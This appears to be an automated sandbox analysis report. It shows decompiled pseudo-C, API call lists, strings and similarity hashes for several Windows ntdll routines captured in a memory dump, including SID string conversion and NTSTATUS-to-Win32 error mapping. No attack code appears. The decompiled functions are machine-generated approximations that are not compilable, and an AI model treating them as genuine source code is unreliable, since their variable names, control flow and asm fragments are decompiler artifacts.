0x6a97d174
0x6a97d17c
0x6a97d184
0x6a97d188
0x6a97d18e
0x6a97d194
0x6a97d1b2
0x6a97d1ba
0x6a97d196
0x6a97d198
0x6a97d1ac
0x6a97d1ac
0x6a97d1c6
0x6a97d1c7
0x00000000
0x6a97d1c7
0x6a97d139
0x6a97d146
0x6a97d042
0x6a97d04a
0x6a97d052
0x6a97d056
0x6a97d05a
0x6a97d061
0x6a97d065
0x00000000
0x6a97d16d
0x6a97d16d
0x6a97d16f
0x6a97d172
0x00000000
0x00000000
0x00000000
0x6a97d172
0x6a97d146
0x00000000
0x6a97d139
0x6a932181
0x6a932181
0x6a932183
0x6a932183
0x6a93211f
0x6a932126
0x6a932128
0x6a93212b
0x6a93212b
0x00000000
0x6a932126
0x6a9320fa
0x6a9320fa
0x6a932102
0x6a97d0b1
0x6a97d0b1
0x6a97d0b9
0x6a97d0c1
0x6a97d0c5
0x6a97d0c9
0x6a97d0cd
0x6a97d0d1
0x00000000
0x6a97d0d1
0x6a93210b
0x6a932110
0x00000000
0x00000000
0x00000000
0x6a932110

APIs

RtlRaiseException.1105(?), ref: 6A97D009
RtlRaiseException.1105(C0150010), ref: 6A97D07A
DbgPrintEx.1105(00000033,00000002,SXS: %s() Active frame is not the frame being deactivated %p != %p,RtlDeactivateActivationContextUnsafeFast,?,0000002C,?,00000000,000000FF), ref: 6A97D127
RtlRaiseException.1105(C0150010), ref: 6A97D1C7

Strings

RtlDeactivateActivationContextUnsafeFast, xrefs: 6A97D111
SXS: %s() Active frame is not the frame being deactivated %p != %p, xrefs: 6A97D116

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionRaise$Print
String ID: RtlDeactivateActivationContextUnsafeFast$SXS: %s() Active frame is not the frame being deactivated %p != %p
API String ID: 3901562751-4142264681
Opcode ID: ec5a9cc7f29b1d16fd74fa5cee576498f90a06fe53d81ea91fd26d221105b616
Instruction ID: fec8991ef7cb923c5e8a8fbef682ac5be4fc72dc40cdace9574d95d7475fc495
Opcode Fuzzy Hash: ec5a9cc7f29b1d16fd74fa5cee576498f90a06fe53d81ea91fd26d221105b616
Instruction Fuzzy Hash: AD8111B09083019FD360CF19C48071AFBF4BB99348F205A2EE5999B351DB75D686CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 6A92A500, Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 172
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E6A92A500(void* __ebx, void* __esi, void* __eflags, intOrPtr _a4, void* _a8, char _a12) {
				signed int _v8;
				char _v10;
				char _v12;
				char _v508;
				char _v512;
				void _v520;
				struct _EXCEPTION_RECORD _v524;
				intOrPtr _v528;
				char _v532;
				void* __edi;
				void* __ebp;
				void* _t49;
				WCHAR* _t62;
				int _t65;
				void* _t80;
				signed char _t81;
				struct _EXCEPTION_RECORD _t82;
				int _t95;
				short _t98;
				void* _t112;
				short* _t114;
				signed short _t116;
				int _t117;
				signed int _t119;
				void* _t120;
				void* _t121;

				_t113 = __esi;
				_t80 = __ebx;
				_v8 =  *0x6aa0d360 ^ _t119;
				_t112 = _a8;
				_push(_t112);
				_v524 = _a4;
				_t49 = E6A92A860(__eflags);
				if(_t49 != 1 ||  *_t112 != _t49) {
					_t50 = 0xc0000078;
					goto L25;
				} else {
					_push(__esi);
					E6A9671A0( &_v520, 0x100, L"S-1-");
					_t121 = _t120 + 0xc;
					_t114 =  &_v512;
					if( *(_t112 + 2) != 0 ||  *(_t112 + 3) != 0) {
						E6A967110( &_v520, 0x100, 0x6a90292c);
						_t114 =  &_v508;
						_t121 = _t121 + 0xc;
						_v528 = ( *(_t112 + 3) & 0x000000ff) + (( *(_t112 + 2) & 0x000000ff) << 8);
						_push(_t114);
						_v532 = (((( *(_t112 + 4) & 0x000000ff) << 8) + ( *(_t112 + 5) & 0x000000ff) << 8) + ( *(_t112 + 6) & 0x000000ff) << 8) + ( *(_t112 + 7) & 0x000000ff);
						_push(0xfa);
						_t50 = E6A9B5BFD(_t80,  &_v532, _t112, _t114, __eflags);
					} else {
						_t111 = 0xa;
						_t50 = E6A92A6C0((((( *(_t112 + 4) & 0x000000ff) << 8) + ( *(_t112 + 5) & 0x000000ff) << 8) + ( *(_t112 + 6) & 0x000000ff) << 8) + ( *(_t112 + 7) & 0x000000ff), 0xa, 0xfc, _t114);
					}
					if(_t50 < 0) {
						L24:
						_pop(_t113);
						L25:
						return E6A95B640(_t50, _t80, _v8 ^ _t119, _t111, _t112, _t113);
					} else {
						_push(_t80);
						_t81 = 0;
						if( *((intOrPtr*)(_t112 + 1)) <= 0) {
							L14:
							if(_a12 != 0) {
								_t62 =  &_v520;
								RtlCreateUnicodeString(_v524, _t62);
								__eflags = _t62;
								if(_t62 != 0) {
									L22:
									_t50 = 0;
									L23:
									_pop(_t80);
									goto L24;
								}
								_t50 = 0xc0000017;
								goto L23;
							}
							if(_t114 >=  &_v10) {
								L18:
								_t82 = _v524;
								_t116 = _t114 -  &_v520 & 0xfffffffe;
								_t65 =  *(_t82 + 2) & 0x0000ffff;
								_t95 = _t65;
								if(_t116 >= _t95) {
									_t50 = 0x80000005;
									goto L23;
								}
								_t112 =  *(_t82 + 4);
								_t117 = _t116 & 0x0000ffff;
								if(_t117 > _t65) {
									_t117 = _t95;
								}
								 *_t82 = _t117;
								memcpy(_t112,  &_v520, _t117);
								if(( *_t82 & 0x0000ffff) + 2 <= ( *(_t82 + 2) & 0x0000ffff)) {
									 *((short*)(_t112 + (_t117 >> 1) * 2)) = 0;
								}
								goto L22;
							}
							while( *_t114 != 0) {
								_t114 = _t114 + 2;
								if(_t114 <  &_v10) {
									continue;
								}
								goto L18;
							}
							goto L18;
						}
						_t98 = 0x2d;
						do {
							if(_t114 >=  &_v12) {
								L12:
								 *_t114 = _t98;
								_t114 = _t114 + 2;
								_t111 = 0xa;
								if(E6A92A6C0( *((intOrPtr*)(_t112 + 8 + (_t81 & 0x000000ff) * 4)), 0xa, 0x100 - (_t114 -  &_v520 >> 1), _t114) < 0) {
									goto L23;
								}
								goto L13;
							}
							while( *_t114 != 0) {
								_t114 = _t114 + 2;
								if(_t114 <  &_v12) {
									continue;
								}
								goto L12;
							}
							goto L12;
							L13:
							_t81 = _t81 + 1;
							_t98 = 0x2d;
						} while (_t81 <  *((intOrPtr*)(_t112 + 1)));
						goto L14;
					}
				}
			}

0x6a92a500
0x6a92a500
0x6a92a512
0x6a92a519
0x6a92a51c
0x6a92a51d
0x6a92a523
0x6a92a52a
0x6a97a2c0
0x00000000
0x6a92a538
0x6a92a538
0x6a92a54a
0x6a92a54f
0x6a92a552
0x6a92a55c
0x6a97a2db
0x6a97a2e4
0x6a97a2ee
0x6a97a2fa
0x6a97a31d
0x6a97a31e
0x6a97a32a
0x6a97a32f
0x6a92a56c
0x6a92a570
0x6a92a598
0x6a92a598
0x6a92a59f
0x6a92a684
0x6a92a684
0x6a92a685
0x6a92a693
0x6a92a5a5
0x6a92a5a5
0x6a92a5a6
0x6a92a5ab
0x6a92a610
0x6a92a614
0x6a92a696
0x6a92a6a3
0x6a92a6a8
0x6a92a6aa
0x6a92a681
0x6a92a681
0x6a92a683
0x6a92a683
0x00000000
0x6a92a683
0x6a92a6ac
0x00000000
0x6a92a6ac
0x6a92a61f
0x6a92a631
0x6a92a631
0x6a92a63f
0x6a92a642
0x6a92a646
0x6a92a64a
0x6a92a6b7
0x00000000
0x6a92a6b7
0x6a92a64c
0x6a92a64f
0x6a92a655
0x6a92a6b3
0x6a92a6b3
0x6a92a65e
0x6a92a663
0x6a92a677
0x6a92a67d
0x6a92a67d
0x00000000
0x6a92a677
0x6a92a621
0x6a92a627
0x6a92a62f
0x00000000
0x00000000
0x00000000
0x6a92a62f
0x00000000
0x6a92a621
0x6a92a5ad
0x6a92a5b2
0x6a92a5b7
0x6a92a5d0
0x6a92a5d0
0x6a92a5d9
0x6a92a5dc
0x6a92a5fe
0x00000000
0x00000000
0x00000000
0x6a92a5fe
0x6a92a5c0
0x6a92a5c6
0x6a92a5ce
0x00000000
0x00000000
0x00000000
0x6a92a5ce
0x00000000
0x6a92a604
0x6a92a604
0x6a92a606
0x6a92a60b
0x00000000
0x6a92a5b2
0x6a92a59f

APIs

RtlValidSid.1105(00000050,?), ref: 6A92A523
wcscpy_s.1105(?,00000100,S-1-,?,00000050,?), ref: 6A92A54A

Part of subcall function 6A92A6C0: memcpy.1105(00000000,?,?,?,00000050,?,00000000), ref: 6A92A781

memcpy.1105(?,?,00000000,00000000,000000FC,?,?,00000050,?), ref: 6A92A663
RtlCreateUnicodeString.1105(?,?,00000000,000000FC,?,?,00000050,?), ref: 6A92A6A3
wcscat_s.1105(?,00000100,6A90292C,?,00000050,?), ref: 6A97A2DB

Strings

S-1-, xrefs: 6A92A539

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy$CreateStringUnicodeValidwcscat_swcscpy_s
String ID: S-1-
API String ID: 1445283056-1273753892
Opcode ID: 02689baf7b3dfc780411ccd01399fd848ead108bea2e33c7ba2632c6a4fa2191
Instruction ID: 522da2073e09740298455026897ea52ee7a3603076a65502954cb32d67dea1b2
Opcode Fuzzy Hash: 02689baf7b3dfc780411ccd01399fd848ead108bea2e33c7ba2632c6a4fa2191
Instruction Fuzzy Hash: F1512BB290416A6EEF248B288C587B9B7F4AF01304F1641AAD465D3A45EB38DE94CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 6A91CCC0, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 134
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E6A91CCC0(signed short _a4) {
				intOrPtr _v8;
				signed int _v12;
				char _v20;
				intOrPtr _v28;
				signed int _t36;
				signed short _t39;
				signed int _t46;
				signed int _t55;
				intOrPtr _t57;
				unsigned int _t67;
				intOrPtr _t70;
				signed int _t79;
				void* _t84;
				void* _t90;
				signed int _t92;
				void* _t93;

				_push(0xfffffffe);
				_push(0x6a9ef828);
				_push(0x6a9617f0);
				_push( *[fs:0x0]);
				_t36 =  *0x6aa0d360;
				_v12 = _v12 ^ _t36;
				_push(_t36 ^ _t92);
				 *[fs:0x0] =  &_v20;
				_v28 = _t93 - 0xc;
				_t57 =  *[fs:0x18];
				if(_t57 == 0) {
					_t39 = _a4;
				} else {
					_v8 = 0;
					_t39 = _a4;
					 *(_t57 + 0xbf4) = _t39;
					_v8 = 0xfffffffe;
				}
				if(_t39 == 0) {
					 *[fs:0x0] = _v20;
					return 0;
				} else {
					if(_t39 == 0x103) {
						 *[fs:0x0] = _v20;
						return 0x3e5;
					} else {
						if((_t39 & 0x20000000) != 0) {
							L16:
							 *[fs:0x0] = _v20;
							return _t39;
						} else {
							if((_t39 & 0x00ff0000) == 0x70000) {
								_t67 = _t39 >> 0x18;
								if(_t67 != 0xc0) {
									if(_t67 != 0x80) {
										goto L6;
									} else {
										goto L21;
									}
								} else {
									goto L21;
								}
							} else {
								L6:
								if((_t39 & 0xf0000000) == 0xd0000000) {
									_t39 = _t39 & 0xcfffffff;
								}
								_t90 = 0;
								_t84 = 0x11e;
								do {
									_t79 = _t84 + _t90 >> 1;
									_t70 =  *((intOrPtr*)(0x6a8fa300 + _t79 * 8));
									_t55 = _t39 - _t70;
									if(_t39 < _t70) {
										_t84 = _t79 - 1;
										goto L11;
									} else {
										if(_t55 < ( *(0x6a8fa304 + _t79 * 8) & 0x000000ff)) {
											_t46 =  *(0x6a8fa306 + _t79 * 8) & 0x0000ffff;
											if( *((char*)(0x6a8fa305 + _t79 * 8)) != 1) {
												_t39 = ( *(0x6a8f8692 + (_t46 + _t55 * 2) * 2) & 0x0000ffff) << 0x00000010 |  *(0x6a8f8690 + (_t46 + _t55 * 2) * 2) & 0x0000ffff;
											} else {
												_t39 =  *(0x6a8f8690 + (_t46 + _t55) * 2) & 0x0000ffff;
											}
											goto L16;
										} else {
											_t90 = _t79 + 1;
											goto L11;
										}
									}
									goto L28;
									L11:
								} while (_t90 <= _t84);
								if((_t39 & 0xffff0000) == 0xc0010000) {
									L21:
									 *[fs:0x0] = _v20;
									return _t39 & 0x0000ffff;
								} else {
									E6A91B150("RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping\n", _t39);
									E6A91B150();
									E6A91B150("RTL: ERROR_MR_MID_NOT_FOUND is being returned\n", "RTL: Edit ntos\\rtl\\generr.c to correct the problem\n");
									_t39 = 0x13d;
									goto L16;
								}
							}
						}
					}
				}
				L28:
			}

0x6a91ccc5
0x6a91ccc7
0x6a91cccc
0x6a91ccd7
0x6a91ccde
0x6a91cce3
0x6a91cce8
0x6a91ccec
0x6a91ccf2
0x6a91ccf5
0x6a91ccfe
0x6a974dc8
0x6a91cd04
0x6a91cd04
0x6a91cd0b
0x6a91cd0e
0x6a91cd14
0x6a91cd14
0x6a91cd1d
0x6a91cdca
0x6a91cdd8
0x6a91cd23
0x6a91cd28
0x6a91cde3
0x6a91cdf1
0x6a91cd2e
0x6a91cd33
0x6a91cdb1
0x6a91cdb4
0x6a91cdc2
0x6a91cd35
0x6a91cd43
0x6a91ce10
0x6a91ce19
0x6a974dd6
0x00000000
0x6a974ddc
0x00000000
0x6a974ddc
0x00000000
0x00000000
0x00000000
0x6a91cd49
0x6a91cd49
0x6a91cd57
0x6a974de1
0x6a974de1
0x6a91cd5d
0x6a91cd5f
0x6a91cd64
0x6a91cd67
0x6a91cd69
0x6a91cd72
0x6a91cd76
0x6a91cd90
0x00000000
0x6a91cd78
0x6a91cd82
0x6a91cd95
0x6a91cda5
0x6a91ce0a
0x6a91cda7
0x6a91cda9
0x6a91cda9
0x00000000
0x6a91cd84
0x6a91cd84
0x00000000
0x6a91cd84
0x6a91cd82
0x00000000
0x6a91cd87
0x6a91cd87
0x6a974df9
0x6a91ce1f
0x6a91ce25
0x6a91ce33
0x6a974dff
0x6a974e05
0x6a974e0f
0x6a974e1c
0x6a974e24
0x00000000
0x6a974e24
0x6a974df9
0x6a91cd43
0x6a91cd33
0x6a91cd28
0x00000000

APIs

DbgPrint.1105(RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping,?,?,?,-00000F38,00000000,?,?), ref: 6A974E05
DbgPrint.1105(RTL: Edit ntos\rtl\generr.c to correct the problem,?,?,?,-00000F38,00000000,?,?), ref: 6A974E0F
DbgPrint.1105(RTL: ERROR_MR_MID_NOT_FOUND is being returned,?,-00000F38,00000000,?,?), ref: 6A974E1C

Strings

RTL: ERROR_MR_MID_NOT_FOUND is being returned, xrefs: 6A974E17
RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping, xrefs: 6A974E00
RTL: Edit ntos\rtl\generr.c to correct the problem, xrefs: 6A974E0A

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: RTL: ERROR_MR_MID_NOT_FOUND is being returned$RTL: Edit ntos\rtl\generr.c to correct the problem$RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping
API String ID: 3558298466-1070408152
Opcode ID: 5a2c637c1ce5ad4fb35dde7ba46117063921ee13639fcce248681efec704dca0
Instruction ID: e3d17e801ca2a4b49be1874d48fd64d29e6d262e5b0e01b9b70772dbc8df0a80
Opcode Fuzzy Hash: 5a2c637c1ce5ad4fb35dde7ba46117063921ee13639fcce248681efec704dca0
Instruction Fuzzy Hash: A6414976A0C2199ADB14CB58E8D1BB9B7E5E785310F21463EEA11C7780DF39EC60C6D1

Uniqueness

Uniqueness Score: -1.00%

Function 6A94645B, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 109
timeCOMMON

Download Yara Rule

C-Code - Quality: 26%

			E6A94645B(void* __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v8;
				void* _v36;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				void _v60;
				int _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t48;
				intOrPtr _t49;
				intOrPtr _t50;
				intOrPtr* _t52;
				int _t56;
				void* _t69;
				int _t72;
				void* _t73;
				intOrPtr _t75;
				intOrPtr _t79;
				void* _t82;
				void* _t84;
				intOrPtr _t86;
				void* _t88;
				signed int _t90;
				signed int _t92;
				signed int _t93;

				_t80 = __edx;
				_t92 = (_t90 & 0xfffffff8) - 0x4c;
				_v8 =  *0x6aa0d360 ^ _t92;
				_t72 = 0;
				_v72 = __edx;
				_t82 = __ecx;
				_t86 =  *((intOrPtr*)(__edx + 0xc8));
				_v68 = _t86;
				memset( &_v60, 0, 0x30);
				_t48 =  *((intOrPtr*)(_t82 + 0x70));
				_t93 = _t92 + 0xc;
				_v76 = _t48;
				_t49 = _t48;
				if(_t49 == 0) {
					_push(5);
					 *((char*)(_t82 + 0x6a)) = 0;
					 *((intOrPtr*)(_t82 + 0x6c)) = 0;
					goto L3;
				} else {
					_t69 = _t49 - 1;
					if(_t69 != 0) {
						if(_t69 == 1) {
							_push(0xa);
							goto L3;
						} else {
							_t56 = 0;
						}
					} else {
						_push(4);
						L3:
						_pop(_t50);
						_v80 = _t50;
						if(_a4 == _t72 && _t86 != 0 && _t50 != 0xa &&  *((char*)(_t82 + 0x6b)) == 1) {
							E6A932280(_t50, _t86 + 0x1c);
							_t79 = _v72;
							 *((intOrPtr*)(_t79 + 0x20)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
							 *((intOrPtr*)(_t79 + 0x88)) =  *((intOrPtr*)(_t82 + 0x68));
							 *((intOrPtr*)(_t79 + 0x8c)) =  *((intOrPtr*)(_t82 + 0x6c));
							 *((intOrPtr*)(_t79 + 0x90)) = _v80;
							 *((intOrPtr*)(_t79 + 0x20)) = _t72;
							E6A92FFB0(_t72, _t82, _t86 + 0x1c);
						}
						_t75 = _v80;
						_t52 =  *((intOrPtr*)(_v72 + 0x20));
						_t80 =  *_t52;
						_v72 =  *((intOrPtr*)(_t52 + 4));
						_v52 =  *((intOrPtr*)(_t82 + 0x68));
						_v60 = 0x30;
						_v56 = _t75;
						_v48 =  *((intOrPtr*)(_t82 + 0x6c));
						asm("movsd");
						_v76 = _t80;
						_v64 = 0x30;
						asm("movsd");
						asm("movsd");
						asm("movsd");
						if(_t80 != 0) {
							 *0x6aa0b1e0(_t75, _v72,  &_v64,  &_v60);
							_t72 = _v76();
						}
						_t56 = _t72;
					}
				}
				_pop(_t84);
				_pop(_t88);
				_pop(_t73);
				return E6A95B640(_t56, _t73, _v8 ^ _t93, _t80, _t84, _t88);
			}

0x6a94645b
0x6a946463
0x6a94646d
0x6a946475
0x6a94647a
0x6a94647e
0x6a946480
0x6a94648c
0x6a946490
0x6a946495
0x6a946498
0x6a94649b
0x6a94649f
0x6a9464a1
0x6a987c07
0x6a987c09
0x6a987c0c
0x00000000
0x6a9464a7
0x6a9464a7
0x6a9464aa
0x6a987bf7
0x6a987c00
0x00000000
0x6a987bf9
0x6a987bf9
0x6a987bf9
0x6a9464b0
0x6a9464b0
0x6a9464b2
0x6a9464b2
0x6a9464b3
0x6a9464ba
0x6a946553
0x6a94655e
0x6a946566
0x6a94656c
0x6a946575
0x6a94657f
0x6a946585
0x6a946588
0x6a946588
0x6a9464c7
0x6a9464cb
0x6a9464ce
0x6a9464d3
0x6a9464da
0x6a9464e5
0x6a9464ed
0x6a9464f1
0x6a9464f5
0x6a9464f6
0x6a9464fa
0x6a946502
0x6a946503
0x6a946504
0x6a946507
0x6a94651a
0x6a946524
0x6a946524
0x6a946526
0x6a946526
0x6a9464aa
0x6a94652c
0x6a94652d
0x6a94652e
0x6a946539

APIs

memset.1105(?,00000000,00000030,?,00000000,00000000), ref: 6A946490
RtlDebugPrintTimes.1105(?,00000030,00000030,00000030), ref: 6A94651A
RtlAcquireSRWLockExclusive.1105(?,?,00000000,00000000), ref: 6A946553
RtlReleaseSRWLockExclusive.1105(?,?,?,00000000,00000000), ref: 6A946588

Strings

0, xrefs: 6A9464E5
0, xrefs: 6A9464FA

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireDebugPrintReleaseTimesmemset
String ID: 0$0
API String ID: 3207447552-203156872
Opcode ID: 3d9e34c4acf424e8b250f0c7c281de99c40196c09f25d66f2ce3564b461f1918
Instruction ID: f1009c3c52200ba3f617add850da60992bd81bca1f1d9f8d427a54ea7532576a
Opcode Fuzzy Hash: 3d9e34c4acf424e8b250f0c7c281de99c40196c09f25d66f2ce3564b461f1918
Instruction Fuzzy Hash: 81415EB16087059FC700CF28C444A16BBE8FF89718F15496EF598DB301DB31EA45CB86

Uniqueness

Uniqueness Score: -1.00%

Function 6A914510, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E6A914510(signed int _a4) {
				signed int _t25;
				unsigned int _t28;
				intOrPtr _t32;
				signed int _t40;
				void* _t46;
				signed int _t47;
				signed int _t52;
				void* _t53;
				signed int _t55;

				_t47 = _a4;
				if(_t47 == 0) {
					return 0;
				}
				if(_t47 == 0x103) {
					return 0x3e5;
				}
				_t25 = _t47;
				if((_t47 & 0x20000000) == 0) {
					if((_t25 & 0x00ff0000) == 0x70000) {
						_t28 = _t47 >> 0x18;
						if(_t28 == 0xc0 || _t28 == 0x80) {
							L20:
							return _t47 & 0x0000ffff;
						} else {
							goto L4;
						}
					}
					L4:
					if((_t47 & 0xf0000000) == 0xd0000000) {
						_t47 = _t47 & 0xcfffffff;
					}
					_t53 = 0;
					_t46 = 0x11e;
					do {
						_t52 = _t46 + _t53 >> 1;
						_t32 =  *((intOrPtr*)(0x6a8fa300 + _t52 * 8));
						_t55 = _t47 - _t32;
						if(_t47 < _t32) {
							_t10 = _t52 - 1; // -1
							_t46 = _t10;
							goto L10;
						}
						if(_t55 < ( *(0x6a8fa304 + _t52 * 8) & 0x000000ff)) {
							_t40 =  *(0x6a8fa306 + _t52 * 8) & 0x0000ffff;
							if( *((char*)(0x6a8fa305 + _t52 * 8)) != 1) {
								return ( *(0x6a8f8692 + (_t40 + _t55 * 2) * 2) & 0x0000ffff) << 0x00000010 |  *(0x6a8f8690 + (_t40 + _t55 * 2) * 2) & 0x0000ffff;
							}
							return  *(0x6a8f8690 + (_t40 + _t55) * 2) & 0x0000ffff;
						}
						_t9 = _t52 + 1; // 0x1
						_t53 = _t9;
						L10:
					} while (_t53 <= _t46);
					if((_t47 & 0xffff0000) == 0xc0010000) {
						goto L20;
					}
					E6A91B150("RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping\n", _t47);
					E6A91B150();
					E6A91B150("RTL: ERROR_MR_MID_NOT_FOUND is being returned\n", "RTL: Edit ntos\\rtl\\generr.c to correct the problem\n");
					return 0x13d;
				}
				return _t25;
			}

0x6a914515
0x6a91451d
0x00000000
0x6a9145b6
0x6a914529
0x00000000
0x6a9708b5
0x6a91452f
0x6a914537
0x6a914543
0x6a9708c1
0x6a9708c9
0x6a9708d6
0x00000000
0x00000000
0x00000000
0x00000000
0x6a9708c9
0x6a914549
0x6a914555
0x6a9145ba
0x6a9145ba
0x6a914557
0x6a914559
0x6a91455e
0x6a914563
0x6a914565
0x6a91456c
0x6a914570
0x6a914583
0x6a914583
0x00000000
0x6a914583
0x6a91457c
0x6a914597
0x6a91459f
0x00000000
0x6a97092f
0x00000000
0x6a9145a7
0x6a91457e
0x6a91457e
0x6a914586
0x6a914586
0x6a9708ea
0x00000000
0x00000000
0x6a9708f2
0x6a9708fc
0x6a970909
0x00000000
0x6a97090f
0x6a9145b3

APIs

DbgPrint.1105(RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping,?,?,?,00000000,?,6A983AE2,C000000D,?,?,?,00000000,?,00000000,?,?), ref: 6A9708F2
DbgPrint.1105(RTL: Edit ntos\rtl\generr.c to correct the problem,RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping,?,?,?,00000000,?,6A983AE2,C000000D,?,?,?,00000000,?,00000000,?), ref: 6A9708FC
DbgPrint.1105(RTL: ERROR_MR_MID_NOT_FOUND is being returned,?,?,?,00000000,?,00000000,?,?,?,00000000,?,00000000,?), ref: 6A970909

Strings

RTL: ERROR_MR_MID_NOT_FOUND is being returned, xrefs: 6A970904
RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping, xrefs: 6A9708ED
RTL: Edit ntos\rtl\generr.c to correct the problem, xrefs: 6A9708F7

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: RTL: ERROR_MR_MID_NOT_FOUND is being returned$RTL: Edit ntos\rtl\generr.c to correct the problem$RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping
API String ID: 3558298466-1070408152
Opcode ID: 595697b16ecd5636ad4028bf3b26f0b7ed1ec73413218e5124cc4fb6e422fe97
Instruction ID: 10c2a24df58803576b2cc59faca3cb443f701b12b163650b089ee4884f814bbc
Opcode Fuzzy Hash: 595697b16ecd5636ad4028bf3b26f0b7ed1ec73413218e5124cc4fb6e422fe97
Instruction Fuzzy Hash: 34217D7651C01F5AE724465DACD4B787256938939CF320226E520CA3C1DE7ACC90C6E2

Uniqueness

Uniqueness Score: -1.00%

Function 6A9DD8DF, Relevance: 9.2, APIs: 6, Instructions: 160timeCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockShared.1105(?,000000FE,?,?,?,?,6A9DC9F8,000000FE), ref: 6A9DD9D0
RtlAcquireSRWLockExclusive.1105(?,000000FE,?,?,?), ref: 6A9DD9E6
RtlDebugPrintTimes.1105(?,?,?,000000FE,?,?,?,?,6A9DC9F8,000000FE), ref: 6A9DDA0E
RtlReleaseSRWLockExclusive.1105(?,000000FE,?,?,?), ref: 6A9DDA6A
RtlReleaseSRWLockShared.1105(?,000000FE,?,?,?), ref: 6A9DDA71
RtlReleaseSRWLockShared.1105(?,000000FE,?,?,?), ref: 6A9DDA83

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Lock$ReleaseShared$AcquireExclusive$DebugPrintTimes
String ID:
API String ID: 675604559-0
Opcode ID: cd1794508dceb989438047e4427e08f5811b4b7084f446517678193d0bba2baf
Instruction ID: f7e98b769453604eef3df58ec69012260c6a507e7ceb25186c846914fb92d6dc
Opcode Fuzzy Hash: cd1794508dceb989438047e4427e08f5811b4b7084f446517678193d0bba2baf
Instruction Fuzzy Hash: 4751E571A06A199BCB10DF68C88475EB7F9AF45328F26C259D824AB351DF70D981CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6A915320, Relevance: 9.1, APIs: 6, Instructions: 91timeCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(6AA085F0), ref: 6A915362
RtlClearBits.1105(?,?,00000001,6AA085F0), ref: 6A91538E
RtlAcquireSRWLockExclusive.1105(?,?,?,00000001,6AA085F0), ref: 6A9153A7

Part of subcall function 6A932280: RtlDllShutdownInProgress.1105(00000000), ref: 6A9322BA
Part of subcall function 6A932280: ZwWaitForAlertByThreadId.1105(?,00000000,?,?,?,?,?,?,?,00000000), ref: 6A9323A3

RtlReleaseSRWLockExclusive.1105(?,?,?,?,00000001,6AA085F0), ref: 6A9153F2
